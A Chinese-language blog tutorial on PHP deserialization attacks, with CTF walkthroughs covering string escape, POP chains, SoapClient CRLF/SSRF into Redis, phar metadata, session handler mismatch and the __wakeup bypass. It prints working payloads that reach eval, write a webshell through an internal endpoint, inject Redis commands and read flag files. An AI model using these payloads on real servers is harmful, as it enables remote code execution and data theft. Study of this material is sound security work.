php反序列化漏洞

前言

本文總結php的反序列化,有php反序列字符串逃逸,php反序列化pop鏈構造,php反序列化原生類的利用,phar反序列化,session反序列化,反序列化小技巧,並附帶ctf小題來講明,還有php反序列化的預防方法(我的想法),建議按需查看,若有錯誤還望斧正。
如非特別說明運行環境爲PHP 7.2.33-1+ubuntu18.04.1php

爲何要序列化?

序列化能夠將對象,類,數組,變量,匿名函數等,轉換爲字符串,這樣用戶就方便存儲和傳輸,同時方便恢復使用,對服務器也減輕必定的壓力。html

序列化基礎

序列化爲字符串時候,變量和參數之間用;隔開,同一個變量和參數間用:號隔開,以}做爲結尾,具體結構,用如下代碼來看下結構git

<?php
class Lmg
{
	
	public $name = 'Lmg';
    public $age = 19;
    public $blog = 'https://lmg66.github.io';
}

$lmg1 = new Lmg;
echo serialize($lmg1)."\n";
?>

序列化屬性

在一個能夠序列化的字符串後加其餘參數不影響序列化後的結果

如:
測試代碼:程序員

<?php
class Lmg
{
	
	public $name = 'Lmg';
    public $age = 19;
    public $blog = 'https://lmg66.github.io';
}

$lmg1 = new Lmg;
echo serialize($lmg1)."\n";
$Lmg2 = serialize($lmg1).'s:4:"blog";s:23:"https://lmg66.github.io";}';
echo $Lmg2."\n";
print_r($lmg1);
print_r(unserialize($Lmg2));
?>

效果:能夠發現,後面加了其餘參數並不影響序列化後的結果
github

顯示變量長度和實際長度不匹配就會報錯,在這裏在某些狀況就會產生字符串逃逸

如:
測試代碼:web

<?php
class Lmg
{
	
	public $name = 'Lmg';
    public $age = 19;
    public $blog = 'https://lmg66.github.io';
}

$lmg4 = 'O:3:"Lmg":3:{s:4:"name";s:3:"Lmg";s:3:"age";i:19;s:4:"blog";s:23:"https://lmg66.github.io";}';
$lmg5 = 'O:3:"Lmg":3:{s:4:"uname";s:3:"Lmg";s:3:"age";i:19;s:4:"blog";s:23:"https://lmg66.github.io";}';
print_r(unserialize($lmg4));
print_r(unserialize($lmg5));
?>

效果:能夠發現我改了變量名name使它的長度和實際4不符,就發生了報錯,改其餘相似
redis

反序列常見魔術函數總覽,可構造pop鏈

__construct: 當建立類的時候自動調用,也就是構造函數,無返回值
__destruct: 當類實例子銷燬時候自動調用,也就是析構函數,無返回值,其不能帶參數
__toString:當對象被當作一個字符串使用時調用,好比echo $obj 。
__sleep: 當類的實例被序列化時調用(其返回須要一個數組或者對象,通常返回對象的$this,返回的值被用來作序列化的值,若是不返回,表示序列化失敗)
__wakeup: 當反序列化時被調用
__call:當調用對象中不存在的方法會自動調用該方法。
__get:在調用私有屬性的時候會自動執行
__isset()在不可訪問的屬性上調用isset()或empty()觸發
__unset()在不可訪問的屬性上使用unset()時觸發

反序列化字符串逃逸(替換後致使字符串變長)

字符串逃逸利用的是反序列化的屬性如上文,出現緣由是在序列化前進行了字符串的替換,致使字符串被拓衝,能夠將後面的字符串擠出去,擠到後一個對象的變量從而改變其餘的變量值,形成逃逸。
如:
測試代碼:sql

<?php
function filter($str){
    return str_replace('bb', 'ccc', $str);
}
class A{
    public $name='aaaa';
    public $pass='123456';
}
$AA=new A();
echo serialize($AA)."\n";
$res=filter(serialize($AA));
$c=unserialize($res);
echo $c->pass;
?>

序列化後的字符串爲:
O:1:"A":2:{s:4:"name";s:4:"aaaa";s:4:"pass";s:6:"123456";}
若是能讓name變量的參數爲
";s:4:"pass";s:6:"hack";}
用}號閉合掉後面的pass參數,就能改pass變量的參數值從而逃逸
要解決的就是這個位置的長度問題,只用讀取到足夠的長度,纔會中止

能夠發如今序列化進行了字符串的替換,但替換的時候bb替換成了ccc,也就是字符串變長了,達到咱們上面想要的目的

先判斷想要構造的字符串長度shell

<?php
$lmg = '";s:4:"pass";s:6:"hack";}';
echo strlen($lmg)."\n";
// $lmg3 = "ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";
// echo strlen($lmg3);
// $lmg2 = "bb";
// echo str_repeat($lmg2, 25);
?>

運行長度爲25,一個bb換成ccc,就逃逸1個字符,也就是說須要25個bb才能將後面的字符串給擠出來數據庫

<?php
// $lmg = '";s:4:"pass";s:6:"hack";}';
// echo strlen($lmg)."\n";
// $lmg3 = "ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";
// echo strlen($lmg3);
$lmg2 = "bb";
echo str_repeat($lmg2, 25);
?>

將name變量參數變爲25個bb+";s:4:"pass";s:6:"hack";}
測試代碼:

<?php
function filter($str){
    return str_replace('bb', 'ccc', $str);
}
class A{
    public $name='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:4:"hack";}';
    public $pass='123456';
}
$AA=new A();
// echo serialize($AA)."\n";
print_r($AA);
$res=filter(serialize($AA));
echo $res."\n";
$c=unserialize($res);
print_r($c);
// echo $c->pass."\n";
?>

運行結果:構造完的字符串,反序列化後發現密碼被改成了hack,而咱們並未直接修改pass的參數,從而實現字符串的逃逸

一個ctf例題([0CTF 2016]piapiapia)

地址:https://buuoj.cn/challenges#[0CTF%202016]piapiapia
打開題目掃描一下發現wwww.zip文件下載,由於本文主要交php反序化就不繞了
發現config.php中又flag,因此要讀取文件,在profile.php中發現讀取文件的代碼

else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));

若是能讓photo爲config.php,而這數值來自$profile的反序列化,查看$profile

public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}

發現有過濾

public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

要進行字符串的逃逸應該先考慮用nickname來構造字符串逃逸photo應爲nickname在其前面
而後發現nickname有正則過濾,考慮用數組來進行繞過

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

數組繞事後就考慮進行逃逸將photo擠出去
因此咱們須要構造nickname的參數值爲";}s:5:"photo";s:10:"config.php";}
這裏爲何要在前面加一個}呢???,由於爲了繞過nickname的正則匹配咱們將其構形成了數組,數組在反序列化要進行閉合,能夠嘗試一下
構造代碼

<?php
function filter($str){
    return str_replace('bb', 'ccc', $str);
}
class A{
    public $name='aaaa';
    public $pass='123456';
    public $nickname = array('a' => 'Apple' ,'b' => 'banana' , 'c' => 'Coconut');
}
$AA=new A();
echo serialize($AA)."\n";
// $res=filter(serialize($AA));
// $c=unserialize($res);
// echo $c->pass;
?>

運行結果發現數組位置進行了閉合

這就是爲啥上面要先進行}在逃逸
構造咱們想要的內容後要進行逃逸,咱們發現過濾的時候將where改爲了hacker,進行了字符串拓展增建了一個字符串,咱們構造的字符串長度爲34因此咱們要構造34個where進行逃逸

而後查看profile.php的圖片,base64解碼就得到了config.php中的flag

反序列化字符串逃逸(替換後致使字符串變短)

字符串變短的逃逸相似於變長,都是利用了替換字符串致使的可輸入變量的改變,從而能夠閉合
測試代碼:

<?php
function str_rep($string){
	return preg_replace( '/php|test/','', $string);
}

$test['name'] = $_GET['name'];
$test['sign'] = $_GET['sign']; 
$test['number'] = '2020';
$temp = str_rep(serialize($test));
printf($temp);
$fake = unserialize($temp);
echo '<br>';
print("name:".$fake['name'].'<br>');
print("sign:".$fake['sign'].'<br>');
print("number:".$fake['number'].'<br>');
?>

發現進行了過濾,將php和test轉換爲空
若是咱們在name的參數中輸入php,test等,就換轉換爲空,那麼就會把後面的數據當成變量
而sign的參數是可控的,若是當name參數爲空而讀取到sign可控參數前,那麼就能夠經過sign的參數控制字符串用}號來閉合掉後面的
計算";s:4:"sign";s:51:"的長度爲19
而過濾php一個能吞掉3個字符串,因此咱們要輸入7個php也就是吞掉21長度,然後面是19長度,因此咱們加2個字符來補充
因此構造

name=phpphpphpphpphpphpphp
sign=12";s:4:"sign";s:3:"sjj";s:6:"number";s:4:"2222";}

其中sign中12爲補充使其爲21長度,"號用於閉合name參數,而後能夠發現,number不可變變量被改變

一個ctf例題([安洵杯 2019]easy_serialize_php)

題目地址:https://buuoj.cn/challenges#[%E5%AE%89%E6%B4%B5%E6%9D%AF%202019]easy_serialize_php
打開題目是一段代碼

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}



先看看phpinfo中的數據,提示在d0g3_f1ag.php文件中

<?php
$_SESSION["user"]='123';
$_SESSION["function"]='123';
$_SESSION["img"]='123';
$Lmg = serialize($_SESSION);
echo $Lmg."\n";
?>

先構造代碼嘗試運行結果

和上面原理同樣要將吞掉,長度爲23
";s:8:"function";s:75:"
爲何s:後是75由於s後的長度必然大於10(也就是function傳入數據的長度)因此咱們只要大於10小於100都行,由於數據長度不可能大於100
而flag換成空格吞掉4個字符串,因此要6個flag(固然也能夠8個php:3*8=24),而後還有在function參數加一個字符串來知足吞24個字符串
因此構造數字1也就是知足24長度加的,img變量要base64,由於實際的img參數被咱們給擠出去了,所說這裏不影響
payload(post傳輸):
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=1";s:8:"function";s:7:"1234567";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
而後查看顯示,查看源代碼:

將img參數讀取的文件改成/d0g3_fllllllag的base64加密
payload:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=1";s:8:"function";s:7:"1234567";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

反序列化pop鏈構造

有時碰見魔法方法中沒有利用代碼,即不存在命令執行文件操做函數,能夠經過調用其餘類方法和魔法函數來達到目的
反序列化想構造的出的方法
命令執行:exec()、passthru()、popen()、system()
文件操做:file_put_contents()、file_get_contents()、unlink()

實例

代碼:

<?php
class lemon {
	protected $ClassObj;
	function __construct() {
		$this->ClassObj = new normal();
	}
	function __destruct() {
		$this->ClassObj->action();
	}
}
class normal {
	function action() {
		echo "hello";
	}
}
class evil {
	private $data;
	function action() {
		eval($this->data);
	}
}
unserialize($_GET['d']);
?>

lemon類建立了正常normal類,而後銷燬時執行了action()方法,很正常,但若是讓其調用evil類,銷燬時候就會調用evil的action()方法出現eval方法,就能達到效果,因此須要構造

<?php
class lemon {
	protected $ClassObj;
	function __construct() {
		$this->ClassObj = new evil();
	}
}
class evil {
	private $data = "phpinfo();";
}
$lmg = new lemon();
echo urlencode(serialize($lmg))."\n";
?>

evil中data參數爲私有屬性,在序列化時會出現不可複製字符,需進行url編碼
O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

其中phpinfo();可換成其餘想要執行的命令system('dir');等等

php反序列化原生類利用

反序列沒有合適的利用鏈,須要利用php自帶的原生類

__call方法

__call方法在調用不存在類的方法時觸發
PHP代碼:

<?php
$rce = unserialize($_GET['u']);
echo $rce->notexist();
echo $rce;
?>

經過unserialize進行反序列化,調用不存在notextist()類,將觸發__call()魔法函數。
php中原生類soapClient,存在能夠進行__call魔法函數。
SOAP是webService三要素(SOAP、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andIntegration))之一:WSDL 用來描述如何訪問具體的接口, UDDI用來管理,分發,查詢webService ,SOAP(簡單對象訪問協議)是鏈接或Web服務或客戶端和Web服務之間的接口。
其採用HTTP做爲底層通信協議,XML做爲數據傳送的格式。
php中的SoapClient類能夠建立soap數據報文,與wsdl接口進行交互。

其中option能夠定義 User-Agent

payload:

<?php
$rce = unserialize($_GET['u']);
echo $rce->notexist();
echo $rce;
?>

注意:要開啓soap,在php.ini中去除extension=php_soap.dll以前的「;」 ,重啓服務
payload:

<?php
$lmg = serialize(new SoapClient(null, array('uri'=>'http://192.168.124.133:8888/','location'=>'http://192.168.124.133:8888/aaa/')));
echo $lmg;
?>

地址換成本身服務器地址
我是用虛擬機ubantu開啓的端口
nc -l 8888
執行:


固然咱們也能夠傳數據進行CRLF,攻擊內網服務,注入redis命令,由於可定義user_agent
payload:

<?php
	$lmg = serialize(new SoapClient(null, array('uri'=>'http://192.168.124.133:8888/','location'=>'http://192.168.124.133:8888/aaa/')));
	// echo $lmg."\n";
	$poc = "CONFIG SET dir /root/";
	$target = "http://192.168.124.133:8888/";
	$content = "Content-Length:45\r\n\r\ndata=abc";
	$b = new SoapClient(null, array('location'=>$target, 'user_agent'=>$content, 'uri'=>'hello^^'.$poc.'^^hello'));
	$aaa = serialize($b);
	$aaa = str_replace('^^', "\n\r", $aaa);
	echo $aaa."\n";
	echo urlencode($aaa)."\n";
?>



內網中寫shell:
內網中test.php

<?php 
if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){
	echo 'hi';
	@$a=$_POST[1];
	@eval($a);

}
 ?>

能夠利用反序列化,CRLF內網攻擊寫shell,反序列化位置

<?php
$rce = unserialize($_GET['u']);
echo $rce->notexist();
echo $rce;
?>

payload:

<?php
$target = 'http://127.0.0.1/CTF/test.php';
$post_string = '1=file_put_contents("shell.php", "<?php phpinfo();?>");';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: '
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'hello^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);

echo urlencode($aaa);
$c=unserialize(urldecode($aaa));
// $c->ss();
?>

成功被寫入shell.php

__toString原生類利用

測試代碼:

<?php
	echo unserialize($_GET['u']);

?>

利用payload:

<?php
	echo urlencode(serialize(new Exception("<script>alert(1)</script>")));
?>

exception類對於錯誤消息沒有通過編碼,直接輸出到了網頁,即可以形成xss

phar反序列化

來自Secarma的安全研究員Sam Thomas發現了一種新的漏洞利用方式,能夠在不使用php函數unserialize()的前提下,引發嚴重的php對象注入漏洞。
這個新的攻擊方式被他公開在了美國的BlackHat會議演講上,演講主題爲:」不爲人所知的php反序列化漏洞」。它可使攻擊者將相關漏洞的嚴重程度升級爲遠程代碼執行。咱們在RIPS代碼分析引擎中添加了對這種新型攻擊的檢測。

原理

phar文件結構

  • a stub
    文件格式標準,格式爲xxx 前面內容不限,但必須以__HALT_COMPILER();?>,不然沒法識別是否是phar文件,其中xxx能夠用做繞過文件上傳的檢測
  • a manifest describing the contents
    phar本質是一種壓縮文件,壓縮文件的權限,屬性等信息所存放的位置,以序列的化的方法存儲用戶自定義的meta-data,在使用phar://僞協議時會反序列化這部分,漏洞產生的緣由就在這裏
  • the file contents
    被壓縮文件的內容
  • [optional] a signature for verifying Phar integrity (phar file format only)
    簽名,文件末尾,格式:

    phar://僞協議介紹
    這個參數是php解壓壓縮包的一個函數,無論什麼,都會當作壓縮包來解壓
    測試:
    要將php.ini中的phar.readonly選項設置爲off,否則無法生成phar文件
    用來包含某個文件,構建類TestObject,而後析構函數結束時打印data數據
<?php
class TestObject{
    function __destruct()
    {
        echo $this -> data;   // TODO: Implement __destruct() method.
    }
}

include($_GET['Lmg']);
?>

生成phar文件,且定義的meta-data的序列化

<?php
    class TestObject {

    }
    $phar = new Phar('phar.phar');
    $phar -> startBuffering();
    $phar -> setStub('<?php __HALT_COMPILER();?>');   //設置stub,增長gif文件頭
    $phar ->addFromString('test.txt','test');  //添加要壓縮的文件
    $object = new TestObject();
    $object -> data = 'Lmg';
    $phar -> setMetadata($object);  //將自定義meta-data存入manifest
    $phar -> stopBuffering();
?>

運行生成文件爲phar的文件

在真實狀況,須要上傳到目標服務器,而後利用phar在解壓時會反序化meta-data部分來達到目的,這裏就直接直接包含了,打印了Lmg字符串

受影響的函數

利用條件:

  • phar文件要能上傳
  • 有可利用函數如上圖,可魔法函數構造pop鏈
  • 文件函數操做可控,: / phar 等沒過被過濾

一個ctf例子([CISCN2019 華北賽區 Day1 Web1]Dropbox)

題目地址:https://buuoj.cn/challenges#[CISCN2019%20%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA%20Day1%20Web1]Dropbox
打開頁面發現是一個註冊於登陸頁面,註冊登陸發現是個相似網盤的功能,初始時在登陸和註冊頁面嘗試sql注入發現不行,而後在下載功能嘗試下載發現登陸和註冊位置對數據庫操做進行了prepare()的預處理,網盤有個下載功能,嘗試下載,嘗試任意下載,抓包,將下載內容改成源碼(有index.php class.php upload.php download.php login.php register.php),爲啥要加../../呢??前期我也不知道,看了別人題解發現,下載源碼發現download.php,限制了切換了目錄,同時無法下載其餘目錄,這就是後來爲啥要用delete功能來phar://,那個位置沒有進行目錄的切換,而後想嘗試文件上傳來getshell,首先上傳時進行了後綴判讀,並且咱們不知道上傳後了路徑,因此考慮其餘方法


查看delete.php,new file()其用了delete()函數,到class.php中查看detele()使用unlink()來刪除,而unlink()函數是phar反序列化受影響函數,那麼下面咱們想要的就是構造就是打開顯示flag.txt文件,爲啥flag在flag.txt中我就不知道了,可能ctf選手直覺,有點玄學了,若是你知道能夠評論告訴我感謝,繼續,在class.php中發現close()中File類file_get_contents(),可是無法調用,而後發現user類中的析構函數調用了close類,若是咱們令$db=new File();的化,可是雖然咱們打開了文件,可是沒用回顯,因此仍是看不見文件內容,因此要構造其餘的pop鏈,而後發現FileList()中存在魔法函數_call,若是調用了不存在的函數就會執行,call函數的做用:

public function __call($func, $args) {
        array_push($this->funcs, $func);      //若是調用了不存在的方法,將改方法放到funcs數組中
        foreach ($this->files as $file) {     //再從files數組中取出方法,利用這個元素去調用funcs中新增的func
            $this->results[$file->name()][$func] = $file->$func();  //由於調用了不存在的鍵值close(),因此func=close,因此$file->$func至關於調用close()函數
        }
    }

而close函數打開$this->filename文件,因此咱們構造File中的filename=./flag.txt就能打開該文件,並且該文件的內容存儲到了results數組鍵值中,而後咱們查看
File類中的析構函數,發現:

foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }

這裏對result的鍵值進行了輸出,因此就能獲得flag.txt中的內容
最後payload:

<?php
class User {
    public $db;
}
class File {
    public $filename;
}
class FileList {
    private $files;
    public function __construct() {
    	$file = new File();
        $file->filename = "/flag.txt"; //構造filename讓其打開該文件
        $this->files = array($file); 
    }
}

// $a = new User();
// $a->db = new FileList(); //這裏讓FileList調用了不存在函數close()函數

$phar = new Phar("phar.phar"); //後綴名必須爲phar

$phar->startBuffering();

$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //設置stub

$o = new User();
$o->db = new FileList(); //這裏讓FileList調用了不存在函數close()函數

$phar->setMetadata($o); //將自定義的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要壓縮的文件
//簽名自動計算
$phar->stopBuffering();
?>

php反序列化Session反序列化

session在互聯網起到的做用

session用於跟蹤用戶的行爲,保存用戶的信息和狀態等等
session當用戶第一次訪問網站時,session_start()函數就會建立惟一的sessionid,經過HTTP響應將sessionid保存到用戶的cookie中。同時在服務器建立一個sessionid命名的文件,用於保存這個用戶的會話信息。當用戶再次訪問這個網站時,也會經過http請求將cookie中保存的session再次攜帶,可是服務器不會再建立同名文件,而是硬盤中尋找sessionid的同名文件,且將其讀取出來。
服務器session_start()函數做用
當會話開始或經過session_start()開始時,php內部會經過傳來的sessionid來讀取文件,php會自動序列化sessio文件內容,並將其填充到超全局變量$_SESSION中。若是不存在對應的會話數據,則建立一個sessionid的文件。若是用戶爲發送sessionid,則建立一個由32個字母組成的phpsessionid,並返回set-cookie

session配置和phpsession反序列化原理

php.ini中的session配置


由於我使用的是phpstudy搭建的環境因此路徑比較奇怪
常見的存儲位置

/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED

session反序列化原理

session的存儲機制

測試代碼:

<?php
//ini_set('session.serialize_handler', 'php');
//ini_set("session.serialize_handler", "php_serialize");
ini_set("session.serialize_handler", "php_binary");
session_start();
$_SESSION['Lmg'] = $_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
?>

分別註釋查看不一樣機制的保存方式,咱們分別?a=123查看

  • Lmg|s:3:"123"; ----------------ini_set('session.serialize_handler', 'php'); php機制
  • a:1:{s:3:"Lmg";s:3:"123";} ----------------ini_set("session.serialize_handler", "php_serialize"); php_serialize機制
  • Lmgs:3:"123"; -----------------ini_set("session.serialize_handler", "php_binary"); php_binary機制
    產生session反序列的緣由就在程序員在讀取或者存儲中使用了不一樣的機制,咱們以php_serialize格式來存儲,用php機制來讀取
    測試代碼:
    存儲session代碼:
<?php
//ini_set('session.serialize_handler', 'php');
ini_set("session.serialize_handler", "php_serialize");
//ini_set("session.serialize_handler", "php_binary");
session_start();
$_SESSION['Lmg'] = $_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
?>

讀取session代碼:

<?php
	ini_set("session.serialize_handler", "php");
	session_start();
	class student {
		var $name;
		var $age;
		function __wakeup(){
			echo $this->name;
		}
	}
?>

咱們先構造一個student的類來生成咱們想要的目的

<?php
	class student {
		var $name;
		var $age;
	}
$Lmg = new student();
$Lmg->name = "hack";
$Lmg->age = "19";
echo serialize($Lmg);
?>

生成的序列化字符串
O:7:"student":2:{s:4:"name";s:4:"hack";s:3:"age";s:2:"19";}
咱們構造在儲存頁面構造payload,只須要在上面的字符串前加|就可,爲何呢???

若是咱們傳入的數值中有|那麼在讀取時就認爲後面是咱們要反序列化的字符串,從而達到目的
將構造的字符串傳入存儲php中計:?a=|O:7:"student":2:{s:4:"name";s:4:"hack";s:3:"age";s:2:"19";}
查看儲存的字符串:a:1:{s:3:"Lmg";s:60:"|O:7:"student":2:{s:4:"name";s:4:"hack";s:3:"age";s:2:"19";}
因此達到了目的

查看一下讀取的php,成功打印了hack

沒有$_SESSION賦值的session反序列化

在php中存在一個upload_process機制,能夠自動建立$_SESSION一個鍵值對,並且其中的值用戶能夠控制,文件上傳時應用能夠發送一個POST請求到終端(例如經過XHR)來檢查這個狀態


什麼意思呢????意思上傳文件,同時post一個於session.upload_process.name同名的變量。後端就會自動將post的這個同名變量做爲鍵,進行序列化而後存儲到session文件中,下次請求就會反序列化session文件

一個ctf題來實踐瞭解一下

題目地址:http://web.jarvisoj.com:32784/index.php
打開題目是源碼:

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

先讀取session,而後get傳入phpinfo參數,而後建立對象,對象中構造函數給mdzz賦值phpinfo,析構函數執行eval,因此咱們的目的是將mdzz構造爲讀取文件
,先隨便傳入參數,查看phpinfo中的參數,發現默認的反序列化機制是php-serialize,可是題目所使用php,那麼這個兩個機制再上文產生的漏洞咱們已經瞭解,可是咱們無法給session進行存儲啊,因此就要用到上面session上傳進度的session存儲來存入咱們想要的內容

構造上傳表單

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

而後構造咱們想要的payload,打印目錄文件print_r(scandir(dirname(FILE)));,若是寫入析構函數會eval執行

<?php
class OowoO {
    public $mdzz;
}
$Lmg = new OowoO();
$Lmg->mdzz = "print_r(scandir(dirname(__FILE__)));";
echo serialize($Lmg);
?>

生成的序列化字符串
O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
咱們用上傳表單隨便上傳一個文件,抓包將filename改成
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
爲何要改filename,由於其會跟file數組保存到session中上面圖片有說明
爲啥要在字符串前加|,這個上面也說過,由於反序列化的機制不同,|後會當作要反序列化的字符串
爲何要再"前加\,由於咱們的字符串是放在filename=""雙引號內要進行轉義

發現成功讀取到文件名,可是咱們不知道文件目錄,查看phpinfo(),查看當前腳本的運行路徑

因此構造:print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));來讀取這個文件
payload:

<?php
class OowoO {
    public $mdzz;
}
$Lmg = new OowoO();
$Lmg->mdzz = "print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));";
echo serialize($Lmg);
?>

生成的字符串,成功得到flag
O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

php反序列化小技巧

__wakeup失效:CVE-2016-7124

漏洞利用版本:
php5<5.6.25
php7<7.0.10
漏洞產生緣由
若是存在_wakeup方法,調用unserilize()方法前則先調用_wakeup方法,可是序列化字符串中表示對象屬性個數的值大於真實的屬性個數時候,便會跳過_wakeup的執行
測試代碼:

<?php
class demo{
	public $name = "Lmg";
	public function __wakeup(){
		echo "this is __wakeup<br>";
	}
	public function __destruct(){
		echo "this is __destruct<br>";
	}
}
// $a = new demo();
// echo serialize($a);
unserialize($_GET['Lmg']);
?>


對比發現頁面只執行了__destruct方法,從而__wakeup()失效

一個ctf例題(unserialize3)

題目地址:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=4821&page=1
打開題目直接是部分源碼,看到wakeup函數應該想到是利用__wakeup()失效漏洞
題目源碼:

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

構造payload:

<?php
class xctf{
public $flag = '111';
}
$Lmg = new xctf();
echo serialize($Lmg);
?>

生成的字符串:O:4:"xctf":1:{s:4:"flag";s:3:"111";}
成功得到flag

bypass反序列化正則

當執行反序列化時,使用正則'/[oc]:\d+:/i'
進行攔截時,主要攔截O:數字:的反序列化字符串,那要怎麼繞過呢???
php反序列化時O:+4:和O:4:的解析是同樣的,具體是php的內核是這麼寫的
因此能夠經過加+來進行繞過

一個ctf例題(Web_php_unserialize)

題目地址:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5409&page=1
打開題目是源代碼:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>


因此構造payload來進行繞過:

<?php 
class Demo { 
    private $file = 'fl4g.php';
}

$x= serialize(new Demo);
$x=str_replace('O:4', 'O:+4',$x);//繞過preg_match()
$x=str_replace(':1:', ':3:',$x);//繞過__wakeup()
echo base64_encode($x);
?>

TzorNDoiRGVtbyI6Mzp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
var傳入便可得到flag
若是這裏沒有base64加密,我麼也須要進行url編碼,由於demo中private爲私有屬性,反序列化會出現不可見字符,因此要進行url編碼

如何防止php反序列化

  1. 儘可能不要用序列化來傳輸數據
  2. 不要相信用戶傳入數據,或者不讓用戶傳入完整的序列化類型,進行過濾
  3. 隔離運行在低權限環境中的反序列化,記錄反序列化異常和失敗,例如傳入類型不是預期類型,或者反序列化引起異常,限制或監視來自反序列化的容器或服務器的傳入和傳出網絡鏈接,限制或監視來自反序列化的容器或服務器的傳入和傳出網絡鏈接。監視反序列化,若是用戶不斷地反序列化,則發出警報。

參考文章及說明

參考文章:
https://blog.csdn.net/qq_45521281/article/details/107135706
https://paper.seebug.org/680/
https://xz.aliyun.com/t/7366#toc-6
《從從0到1 ctfer的成長之路》
最後歡迎訪問個人我的博客:https://lmg66.github.io/ 說明:本文僅限技術研究與討論,嚴禁用於非法用途,不然產生的一切後果自行承擔

相關文章
相關標籤/搜索